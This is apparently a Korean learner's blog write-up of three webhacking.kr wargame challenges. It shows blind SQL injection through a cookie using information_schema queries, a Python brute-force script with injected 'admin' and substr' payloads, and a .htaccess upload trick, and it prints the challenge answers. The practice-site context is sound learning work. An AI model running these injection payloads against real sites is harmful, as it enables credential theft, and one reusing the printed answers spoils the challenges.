💡 2번 문제 풀이
개발자 도구로 열어보면 다음과 같은 주석이 보인다.
if you access admin.php i will kick your ass
죄송하지만 access 해봐야겠습니다ㅎㅎ
/admin.php로 접근해보니 패스워드를 입력하라고 한다.
아무 단서가 없길래 쿠키값을 확인해봤더니 세션아이디 말고 time이 존재했다.
time의 쿠키값을 1로 바꿔보면, 주석에 있는 시간 값이 09:00:01 로 바뀐다.
다음 값들을 알아보기 위해 쿠키값 조정을 해보았다.
테이블 개수
(select count(table_name) from information_schema.tables where table_schema=database())
-> 결과 09:00:02 -> 2개
테이블의 길이
(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)
-> 결과 09:00:13 -> 두 테이블 중 첫번째 테이블은 13글자
limit 1, 0으로 바꿔주고 같은 방법으로 하면 두번째 테이블은 3글자이다.
테이블명 찾기
(select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 0,1)
-> 결과 09:01:37 -> 97 -> 아스키코드 'a'를 의미 -> 첫번째 테이블 첫 문자는 a이다.
계속해서 노가다를 해보면 첫번째 테이블의 이름은 admin_area_pw이고, 두번째 테이블은 log이다.
테이블의 컬럼 개수 찾기 (admin_area_pw로 타겟 지정)
admin_area_pw가 log보다는 정답이 있을 확률이 높아보여 admin_area_pw 먼저 진행해보았다.
(select count(column_name) from information_schema.columns where table_name="admin_area_pw")
-> 결과 09:00:01 -> 컬럼 1개
컬럼 문자 길이
(select length(column_name) from information_schema.columns where table_name="admin_area_pw")
-> 결과 09:00:02 -> 2글자
컬럼명 찾기
(select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name="admin_area_pw")
-> 결과 09:01:52 -> 112 -> 아스키코드로 'p' -> 컬럼의 첫번째 글자는 'p'이고 다음 글자도 동일 방식으로 해보면 컬럼명은 'pw'이라는 것을 알 수 있다.
컬럼 내용 찾기
(select length(pw) from admin_area_pw)
로 길이 찾기 -> 17 글자
(select ascii(substr(pw, 1, 1)) from admin_area_pw)
로 17번 노가다해서 글자 찾기 -> kudos_to_beistlab
엄청난 노가다였다. 파이썬 코드를 돌리고 싶었는데 생각보다 너무 양도 많고 어려워보여서 내 현재 실력에는 노가다가 더 빠를 것 같다는 생각에 이렇게 풀었다...ㅎㅎ
💡 22번 문제 풀이
결과: Wrong password!
결과: Login Fail!
둘의 결과값이 다름을 이용해 blind sql injection을 이용할 수 있을 것이다.
import requests
url = "https://webhacking.kr/challenge/bonus-2/index.php"
session = requests.Session()
cookies={"PHPSESSID":"세션 아이디"}
password = ""
for i in range(1,33):
for j in range(33,128):
data={"uuid":"admin' and substr(pw,"+str(i)+",1)='"+chr(j)+"'#","pw":"1234"}
req=session.post(url,data=data,cookies=cookies)
if("Wrong password!" in req.text):
password +=chr(j)
break
print(chr(j))
print(password)
결과는 6C9CA386A903921D7FA230FFA0FFC153 이 나온다. 이 값을 md5 디코딩하면 wowapple이라는 값이 나온다.
여기서 그런데 wowapple을 pw에 입력했는데 정답이 아니길래 결국 구글링... 알고보니 뒤에 apple이라는 문자열이 salt값이라서 실제 pw는 wow가 전부였던 것이다!
💡 28번 문제 풀이
이 문제에서는 read 즉 읽기 권한을 요구하고 있기 때문에, .htaccess를 이용하여 flag.php의 실행 권한을 바꿔주어야 할 것이다.
메모장에 php_flag engine off 라고 쓴 후 1.htaccess로 저장한다. 이를 버프스위트로 인터셉트하고 난 뒤, 파일명에서 1을 지워주고 포워딩해주면 권한이 수정된 파일이 업로드된다. (윈도우에서 바로 .htaccess 파일을 만들 수 없기 때문에 이렇게 진행했다.)
업로드 후에 링크가 뜨는데 클릭했더니 forbidden이라고 떠서 뭐가 잘못되었나 멘붕이 왔는데 알고보니 url 뒷부분이 flag.php여야 정답이 뜨는 것이었다ㅎㅎ
url을 살짝 수정해주니까 플래그 값 등장!
😎 느낀점
sql이 중요하다는 걸 또다시 깨달은 한 주였다. db, 테이블, 컬럼, 데이터값 등을 조회하는 수많은 쿼리가 존재하고 형태가 매우 다양하다는 것을 매번 느낀다. 더 많이 연습해야겠다!